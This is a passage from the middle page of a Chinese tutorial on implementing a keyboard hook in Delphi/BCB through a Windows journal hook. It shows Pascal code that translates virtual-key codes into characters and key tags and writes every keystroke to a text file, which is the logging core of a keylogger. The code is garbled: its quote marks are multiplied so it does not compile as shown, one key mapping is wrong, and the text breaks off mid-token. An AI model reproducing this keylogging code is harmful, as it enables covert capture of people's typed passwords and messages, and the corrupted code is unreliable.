打印本文 打印本文 关闭窗口 关闭窗口
用日志钩子来实现键盘钩子功能之delphi/bcb版本
作者:武汉SEO闵涛  文章来源:敏韬网  点击数3207  更新时间:2009/4/23 18:26:22  文章录入:mintao  责任编辑:mintao
(vKey);
        end;
        write(txt,ch);
      end;

      if (vKey>=96) and (vKey<=105) then begin
        if bNumLock then
          write(txt,chr(vkey-96+48));
      end;

      if (vKey>=186) and (vKey<=222) then begin
        case vKey of
          186:
            begin
              if not bShift then
                ch:='''';''''
              else
                ch:='''':'''';
            end;
          187:
            begin
              if not bShift then
                ch:=''''=''''
              else
                ch:=''''+'''';
            end;
          188:
            begin
              if not bShift then
                ch:='''',''''
              else
                ch:=''''<'''';
            end;
          189:
            begin
              if not bShift then
                ch:=''''-''''
              else
                ch:=''''_'''';
            end;
          190:
            begin
              if not bShift then
                ch:=''''.''''
              else
                ch:=''''>'''';
            end;
          191:
            begin
              if not bShift then
                ch:=''''/''''
              else
                ch:=''''?'''';
            end;
          192:
            begin
              if not bShift then
                ch:=''''`''''
              else
                ch:=''''~'''';
            end;
          219:
            begin
              if not bShift then
                ch:=''''[''''
              else
                ch:=''''{'''';
            end;
          220:
            begin
              if not bShift then
                ch:=''''\''''
              else
                ch:=''''|'''';
            end;
          221:
            begin
              if not bShift then
                ch:='''']''''
              else
                ch:=''''}'''';
            end;
          222:
            begin
              if not bShift then
                ch:=''''\''''
              else
                ch:=''''/'''';
            end;         
        else
          ch:=''''n'''';
        end;

        if ch<>''''n'''' then
          write(txt,ch);
      end;

      if (wParam>=112) and (wParam<=123) then begin
        //功能键F1-F12
      end;
      if(vKey>=8) and (vKey<=46) then begin
        case vKey of
          8:
            begin
              strcopy(str,''''[BK]'''');
            end;
          9:
            begin
              strcopy(str,''''[TAB]'''');
            end;
          13:
            begin
              strcopy(str,''''[EN]'''');
            end;
          32:
            begin
              strcopy(str,''''[SP]'''');
            end;
          33:
            begin
              strcopy(str,''''[PU]'''');
            end;
          34:
            begin
&n

上一页  [1] [2] [3]  下一页

打印本文 打印本文 关闭窗口 关闭窗口